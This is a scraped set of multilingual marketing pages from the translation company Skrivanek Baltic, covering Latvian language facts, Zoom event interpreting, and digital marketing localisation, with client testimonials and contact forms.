1585. gadā. Tā saglabājusies līdz pat šodienai. 1644. gadā – pirmā gramatikas grāmata. Pirmais latviešu nedēļas laikraksts „Latviešu Avīze” tika izdots Jelgavā no 1822. līdz 1915. gadam. 1918. gadā – Latvijas Republika piešķir latviešu valodai valsts valodas statusu, 1944. gadā Latvijas okupācijas rezultātā valsts valodas statuss tiek zaudēts. 1988. gadā tiek pieņemts lēmums par valsts valodas statusa atjaunošanu. Pasaulē ir aptuveni 20 augstskolu, kurās ir akreditētas latviešu valodas studijas. Visgarākais vārds latviešu valodā ir – pretpulksteņrādītājvirziens. LATVIEŠU VALODAS ALFABĒTS Latviešu valodas alfabēts pamatā veidojies no latīņu alfabēta 16. gadsimtā, kad vācu mācītāji pēc vācu valodas principiem jeb izmantojot gotisko rakstu, iespieda pirmās grāmatas. Vairākus gadsimtus gotiskā un latīņu rakstība tiek lietota paralēli. Tikai 20. gadsimta otrā pusē latviešu alfabēts tiek iepazīts tāds, kāds tas ir mūsdienās. Latviešu alfabēts sastāv no 33 burtiem. CIK SAREŽĢĪTA IR LATVIEŠU VALODA? Mūsdienās aizvien vairāk cilvēku izvēlas mācīties latviešu valodu dažādu iemeslu dēļ. Kādam tā ir nepieciešamība darbā, cits izvēlas apgūt valodu pirms ceļojuma uz Latviju, cits vēlas iepriecināt ģimeni un draugus, kuru dzimtā valoda ir latviešu. Ir ļoti liela daļa cittautiešu, kurus apbur latviešu valodas daiļskanība, paralēli rosinot interesi ne tikai par valodu, bet arī kultūru, tradīcijām, valsti. Latviešu valodas gramatika ir viena no sarežģītākajām valodas gramatikām pasaulē. Valoda ir ļoti fleksīva, tajā ir daudz locījumu, grūtības sagādā arī garo patskaņu un mīksto līdzskaņu izruna. Ļoti grūti ir pierast veidot valodnieciskas konstrukcijas ar ģenitīvu, kuru citās valodās nepazīst. CITAS BIEŽĀK LIETOTĀS VALODAS LATVIJĀ Latvijas iedzīvotāju vidū visizplatītākās valodas ir – latviešu, angļu un krievu valoda. Nelielai daļai iedzīvotāju dzimtā valoda ir baltkrievu, ukraiņu, poļu, lietuviešu, romu, igauņu, vācu. KUR UN CIK DAUDZ RUNĀ LATVIEŠU VALODĀ? Latviešu valodas izplatība šobrīd gandrīz sakrīt ar Latvijas valsts robežām. Iedzīvotāju skaits, kuriem tā ir dzimtā valoda, sasniedz aptuveni 1,5 miljonus. No tiem aptuveni 1,38 miljoni dzīvo Latvijā, pārējie izkaisīti pa visu pasauli – ASV, Kanādā, Zviedrijā, Krievijā, Austrālijā, Lielbritānijā, Vācijā, kā arī citviet. Latviešu valodu kā otro valodu lieto arī aptuveni pusmiljons citu tautību iedzīvotāju Latvijā. KAS UZRAUGA VALODAS LIETOJUMU PRESĒ? Latviešu valodas lietojumu presē, medijos uzrauga Valsts valodas centrs. LATVIEŠU VALODA BIZNESĀ Latviešu valodai ir liela nozīme darījumu attiecībās Latvijā. Aptuveni 60% Latvijas iedzīvotājiem tā ir ikdienas saziņas valoda gan mājās, gan darba vietās. Ārpus Latvijas latviešu valodu kā darījumu valodu praktiski neizmanto. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ LATVIEŠU VALODU: dokumentu tulkojumi latviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi latviešu valodā; mašīntulkošana latviešu valodā ar pēcrediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi latviešu valodā; latviešu valodas kursi. LATVIEŠU VALODAS KOMBINĀCIJAS: latviešu–lietuviešu; lietuviešu–latviešu; igauņu–latviešu; latviešu–igauņu; angļu–latviešu; latviešu–angļu; krievu–latviešu; latviešu–krievu; poļu–latviešu; latviešu –poļu; ukraiņu–latviešu; latviešu–ukraiņu; čehu–latviešu; latviešu–čehu; vācu–latviešu; latviešu–vācu; spāņu–latviešu; latviešu–spāņu; franču–latviešu; latviešu–franču; itāļu–latviešu; latviešu–itāļu; dāņu–latviešu; latviešu–dāņu; zviedru–latviešu; latviešu–zviedru; norvēģu–latviešu; latviešu–norvēģu; somu–latviešu; latviešu–somu u. c. --- > Skrivanek Baltic piedāvā profesionālu pasākumu moderēšanu un tulkošanu. Tulkošana Zoom platformā ir iespējama kā secīgi, tā arī sinhroni. - Published: 2021-04-29 - Modified: 2025-06-03 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ - Translation Priorities: Optional Pasaule mainās, un mēs maināmies tai līdzi. Jau labu laiku klātienes tikšanās, seminārus un konferences aizstāj dzīve virtualitātē. Tiešsaistē notiek pat balvu pasniegšanas ceremonijas un korporatīvie pasākumi! Lai pasākums arī virtuālajā vidē izdotos nevainojami, vērts vērsties pēc palīdzības pie profesionāļiem. Valodu uzņēmums Skrivanek Baltic ir pieredzējis partneris dažādu pasākumu rīkošanā un šobrīd specializējas uz tiešsaistes pasākumu rīkošanu platformā Zoom. Ar mums varat būt pārliecināti, ka pasākums izdosies nevainojami, gluži kā tiekoties aci pret aci. Un, kas būtiski – mūsu pieredze ļauj brīvi darboties multinacionālā vidē, kur skan vairākas valodas. Jums paredzēts organizēt virtuālu konferenci, kuras apmeklētāji runā vairākās svešvalodās? Gaidāma uzņēmumam būtisku sapulču sērija, kurā jāpiedalās gan jūsu darbiniekiem, gan partneru pārstāvjiem? Jūsu uzņēmumā ieradies svarīgs viesis, kurš pārzina tikai savu dzimto valodu, bet nepieciešams, lai Zoom platformā organizētajā sapulcē viņu saprastu visi darbinieki? Varbūt jūs vienkārši vēlaties pacelt savas lieliskās komandas garu un sarīkot vakara ballīti, kur katrs sēž savās mājās, bet visi izklaidējas kopā tiešsaistē? Mūsu profesionāļi palīdzēs ikvienā no iepriekš minētajām situācijām, kā arī izstrādās efektīvu pasākuma scenāriju jebkuram notikumam. Ikviena pasākuma moderēšana var būt izaicinājums, bet divtik liels tas ir virtuālajos pasākumos, kur iztrūkst reāla klātienes acu kontakta, auditorijas reakcijas. Skrivanek Baltic piedāvā profesionālu pasākumu moderēšanu vai, ja vēlaties to darīt paši – instrukciju, kā vadīt tiešsaistes pasākumu, lai no tā gūtu maksimumu. Par tehnisko pieslēgumu varēsiet neraizēties, tas paliks mūsu ziņā – organizēsim gan tiešsaistes vietni, gan arī nepieciešamības gadījumā pasākuma dalībniekus nodalīsim atsevišķās grupās. Tulkošana Zoom platformā ir iespējama kā secīgi, tā arī sinhroni. Ja vēlaties pasākumu iemūžināt, nodrošināsim arī to – pēc nepieciešamības saņemsiet video un audio failus ar pasākuma saturu, kā arī tiešsaistes saiti uz pasākuma video un skaņu celiņu. Video un audio tiek piegādāti jau rediģētā formātā, neko nemainot saturā, bet atbrīvojoties no nevajadzīgām pauzēm ieraksta sākumā vai beigās. Ja izmantoti sinhronā tulka pakalpojumi, varam video iekļaut vienu pasākuma valodu pēc izvēles. Kā valodu profesionāļi nodrošinām tulkošanas pakalpojumus vairāk nekā 110 valodām – ar mums saziņa kļūs vieglāka nekā jebkad iepriekš! Ja nepieciešams, sagatavosim atskaiti par dalībnieku aktivitāti, tostarp to pieslēguma ilgumu, kā arī nodrošināsim pasākuma tērzētavas izrakstu teksta formātā. Un, ja kāds satrauksies par savu ekrāna performanci, pieslēgsim iespēju, ka Zoom tiešraidē tiek uzlabots dalībnieka video! BIEŽĀK UZDOTIE JAUTĀJUMI Skrivanek Baltic ir sertificēts tulkošanas birojs, kas Latvijā darbojas kopš 2003. gada, piedāvājot augstākās kvalitātes valodu pakalpojumus. Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu ilgu pieredzi. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs – ASV, Austrijā, Beļģijā, Bulgārijā, Čehijā, Igaunijā, Lietuvā, Polijā, Slovākijā, Slovēnijā un Vācijā. 2007. gadā durvis vēra Mācību centrs Skrivanek, sniedzot iespēju bērniem un pieaugušajiem papildināt un iegūt svešvalodu zināšanas pie augsti kvalificētiem un zinošiem pasniedzējiem, kā arī saņemt plašāku informāciju saistībā ar valodām. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  NEPIECIEŠAMS TULKOJUMS VAI PALĪDZĪBA TIEŠSAISTES PASĀKUMA RĪKOŠANĀ? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tiešsaistes pasākumu rīkošanu jau tūlīt! --- > Noderīgi un viegli uztverami latviešu valodas padomi, kas būs noderīgi ikvienam – biznesā vai ikdienas situācijās. Izvairies no kļūdām! - Published: 2020-11-26 - Modified: 2025-05-26 - URL: https://skrivanek.lv/noderigi-latviesu-valodas-padomi/ - Translation Priorities: Optional Latviešu valoda ir viens no mūsu identitātes stūrakmeņiem, un latviešu valodas pareiza lietošana ir cieņa pret sevi, savām saknēm un savu tautu. Skrivanek valodas speciālistu komanda ir sarūpējusi viegli saprotamus latviešu valodas padomus, kas palīdzēs izvairīties no izplatītākajām kļūdām latviešu valodā. Tie būs noderīgi visiem, kuri vēlas savā ikdienā un rakstu darbos lietot skaistu un pareizu latviešu valodu, izvairoties no biežākajām kļūdām latviešu valodā un citiem biežākajiem lingvistiskajiem klupšanas akmeņiem. --- > Digital marketing content translation and localisation. Keyword research for SEO optimisation. Get a free quote! - Published: 2020-07-08 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ Digital marketing, including websites and thought-out online media campaigns, captures the hearts and minds of your customers with messages in a virtual environment, while social networks allow them to build closer relationships among themselves. The special way of making your product unique can be lost in a mere, classic translation: that’s where marketing content localisation comes to your aid. WHY IS DIGITAL MARKETING CONTENT LOCALISATION NEEDED? Why do you need to localise your content? Why is translation not enough? Every nation and every culture has its own traditions; moreover, there is inevitable slang, the ignorance of which can create awkward situations. Mitsubishi once experienced a rather unpleasant situation in South America - the name of their ever popular SUV, the Pajero, is applied to lazy, careless men in Spanish-speaking countries. It had to be renamed Montero. If it had attracted a specialist who knew the nuances of the respective culture and language and who could reproduce these nuances in a timely manner, the large car group could have avoided unpleasant moments. Skrivanek language specialists will localise any text you produce according to the specifics of the relevant language and culture, and will adapt social network posts; this includes helping you choose the most appropriate images, e. g. on Instagram or Facebook, according to cultural specificities. Whether they are product descriptions, social media posts, or promotional materials, you can be sure that they will be perceived as if they were made in the target country. WHAT WE OFFER TO LOCALISE: Our specialists will not only translate and localise your website as needed, but will also adjust the necessary keywords for Internet search engine optimisation (SEO) to make your website more visible on Google. Moreover, keywords will also be customised for Google Ads. We will adapt your online store to the needs of foreign buyers, thus expanding your range of customers, and we will also check whether the names and descriptions of your products are appropriate for all the markets in which you are interested. We will prepare audio and video files according to specific market, preparing the source text for both the recording and for subtitles, and will provide recommendations for the inclusion of local specifics, including place names and personal names. We will not only localise social media content, but also develop it, if necessary, and we will attract the most appropriate local influencers. No matter through which social network (Twitter, Facebook, LinkedIn, Instagram, etc. ) you let your product talk, we will give it a local sound. We will prepare blog posts on the topic you are interested in, in order to promote your product and allow it to fit organically into the information space of the relevant country. We will develop hashtags according to current topics, allowing your product to become like a local product instead of getting lost in the market of a foreign country. FREQUENTLY ASKED QUESTIONS We can translate anything in virtually any electronic format, while still preserving the formatting of the original document. In the case of localisation services, we stick to the specific instructions provided by the client or settings dictated by software. We’d love to! Skrivanek has vast experience and knowledge in translating and localising different websites and content management systems. We always ensure a professional approach and find the most suitable solution for your specific situation to ensure the best results in the respective language combinations. Yes, oftentimes we even create teams of language specialists for our cooperation partners, which means that the services are provided by the same translators or interpreters as before. We welcome your feedback and will gladly engage the same language specialist. Our regular clients also have their own project managers. IN NEED OF DIGITAL MARKETING CONTENT LOCALISATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Локализация и перевод контента для цифрового маркетинга. Исследование ключевых слов для SEO-оптимизации. Получите бесплатное предложение! - Published: 2020-07-07 - Modified: 2024-10-18 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ - Translation Priorities: Optional Цифровой маркетинг, в том числе интернет-страницы и продуманные кампании в интернет-СМИ, своими сообщениями в виртуальной среде завоевывают сердца и умы ваших клиентов, в свою очередь, социальные сети налаживают с ними более тесную связь. При классическом переводе особое настроение, которое делает ваш продукт таким уникальным, теряется, но предотвратить это поможет локализация маркетингового содержания. ДЛЯ ЧЕГО НЕОБХОДИМА ЛОКАЛИЗАЦИЯ ЦИФРОВОГО МАРКЕТИНГОВОГО СОДЕРЖАНИЯ? Почему вам нужно локализовать содержание, а перевода будет недостаточно? У каждого народа и у каждой культуры есть собственные традиции; к тому же неизбежно наличие сленга, неосведомленность о котором может создать множество неловких ситуаций. В очень неприятную ситуацию в Южной Америке в свое время попала компания Mitsubishi – название ее популярного внедорожника Pajero в испаноязычных странах означало ленивых, распущенных мужчин, поэтому его пришлось переименовать в Montero. Своевременно обратившись к специалисту, который знаком с соответствующими культурными и языковыми нюансами, крупный автомобильный концерн смог бы обойтись без неприятных моментов. Языковые специалисты Skrivanek локализуют любой подготовленный вами текст в соответствии с языковой и культурной спецификой выбранного языка, а также адаптируют записи в социальных сетях, в том числе помогут выбрать наиболее подходящие иллюстрации, например, для Instagram или Facebook, в соответствии с культурными особенностями. Будь то описания изделий, публикации в социальных сетях или рекламные материалы – можете быть уверены: в целевой стране их воспримут как сделанные на месте. ЧТО МЫ ПРЕДЛАГАЕМ ЛОКАЛИЗОВАТЬ: вашу интернет-страницу – наши специалисты не только переведут и локализуют ее в случае необходимости, но и подберут необходимые ключевые слова для оптимизации интернет-поисковиков или SEO, чтобы сделать вашу страницу более заметной в Google. К тому же ключевые слова будут адаптированы для рекламы Google Ads; ваш интернет-магазин – он будет адаптирован под нужды иностранных покупателей, что будет способствовать расширению круга ваших клиентов; также мы проверим соответствие названий и описаний продукции всем интересующим вас рынкам; аудио- и видеофайлы – они будут адаптированы для конкретного рынка с подготовкой исходного текста для записи и субтитров; мы также предоставим рекомендации по выбору местной специфики, в том числе топонимов и личных имен; наполнение социальных СМИ – не только локализуем, но и в случае необходимости разработаем его с привлечением подходящих местных инфлюэнсеров. Независимо от того, какую социальную сеть (Twitter, Facebook, LinkedIn, Instagram и др. ) вы выберете для своего продукта, мы придадим ей местное звучание; записи в блоге – будут подготовлены на интересующую вас тему, чтобы способствовать узнаваемости продукта и позволить ему органично включиться в информационное пространство интересующей вас страны; хештеги – будут разработаны в соответствии с актуальными тенденциями, чтобы ваш продукт не затерялся в чужой стране, а стал своим. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. НЕОБХОДИМА ЛОКАЛИЗАЦИЯ ЦИФРОВОГО МАРКЕТИНГОВОГО СОДЕРЖАНИЯ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Tīmekļa vietnes, reklāmas kampaņas, sociālo tīklu satura lokalizācija vairāk nekā 110 valodās. Tirgū jau vairāk nekā 25 gadus! - Published: 2020-06-30 - Modified: 2024-11-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ - Translation Priorities: Optional Digitālais mārketings, tostarp tīmekļa vietnes un pārdomātas interneta mediju kampaņas, ar ziņojumiem virtuālajā vidē iekaro jūsu klientu sirdis un prātus, savukārt sociālie tīkli veido ar viņiem ciešākas saiknes. Klasiskajā tulkošanas ceļā var zust tā īpašā noskaņa, kas jūsu produktu padara tik unikālu – tāpēc palīgā nāks mārketinga satura lokalizācija. KĀPĒC NEPIECIEŠAMA DIGITĀLĀ MĀRKETINGA SATURA LOKALIZĀCIJA? Kāpēc jums ir nepieciešams lokalizēt saturu un nepietiek ar tulkojumu? Katrai tautai, katrai kultūrai ir savas tradīcijas, turklāt neizbēgams ir slengs, kura nepārzināšana var radīt ne vienu vien neveiklu situāciju. Gana nepatīkamu situāciju Dienvidamerikā savulaik piedzīvoja Mitsubishi – viņu tik populārā apvidus auto Pajero nosaukums spāniski runājošās valstīs tiek piemērots slinkiem, izlaidīgiem vīriešiem, tāpēc nācās to pārsaukt par Montero. Savlaicīgi piesaistot attiecīgās kultūras un valodas nianšu pārzinošu speciālistu, lielais auto koncerns būtu izticis bez nepatīkamiem brīžiem. Skrivanek valodas speciālisti lokalizēs ikvienu jūsu sagatavotu tekstu atbilstoši attiecīgās valodas un kultūras specifikai, kā arī pielāgos sociālo tīklu ierakstus, tostarp palīdzot izvēlēties piemērotākos attēlus, piemēram, Instagram vai Facebook, atbilstoši kultūras īpatnībām. Vienalga, vai tie būs produktu apraksti, sociālo mediju ieraksti vai reklāmas materiāli, varat būt pārliecināti, ka mērķa valstī tos uztvers kā uz vietas tapušus. KO MĒS PIEDĀVĀJAM LOKALIZĒT: Jūsu tīmekļa vietni mūsu speciālisti ne tikai iztulkos un lokalizēs pēc nepieciešamības, bet arī pielāgos nepieciešamos atslēgvārdus interneta meklēšanas rīku optimizācijai jeb SEO, lai jūsu mājaslapa būtu pamanāmāka Google. Turklāt atslēgvārdi tiks pielāgoti arī Google Ads reklamēšanai. Pielāgosim jūsu interneta veikalu ārzemju pircēju vajadzībām, tā paplašinot jūsu klientu loku, turklāt arī pārbaudīsim, vai jūsu produktu nosaukumi un apraksti ir atbilstoši visiem jūs interesējošiem tirgiem. Audio un video failus sagatavosim atbilstoši konkrētajam tirgum, sagatavojot izejas tekstu gan ierakstam, gan titriem, kā arī sniegsim rekomendācijas lokālās specifikas, tostarp vietvārdu un personvārdu izvēlei. Sociālo mediju saturu ne tikai lokalizēsim, bet nepieciešamības gadījumā arī izstrādāsim, turklāt piesaistīsim atbilstošākos vietējos influencerus. Neatkarīgi no tā, kurā sociālajā tīklā (Twitter, Facebook, LinkedIn, Instagram u. c. ) jūs ļaujat runāt savam produktam, mēs piešķirsim tam lokālu skanējumu. Sagatavosim bloga ierakstus par jūs interesējošu tēmu, lai veicinātu produkta atpazīstamību un ļautu tam organiski iekļauties jūs interesējošās valsts informatīvajā telpā. Izstrādāsim tēmturus jeb mirkļbirkas/haštagus atbilstoši aktualitātēm, lai jūsu produkts svešā valstī nevis pazustu, bet gan kļūtu par savējo. BIEŽĀK UZDOTIE JAUTĀJUMI Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMA DIGITĀLĀ MĀRKETINGA SATURA LOKALIZĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro 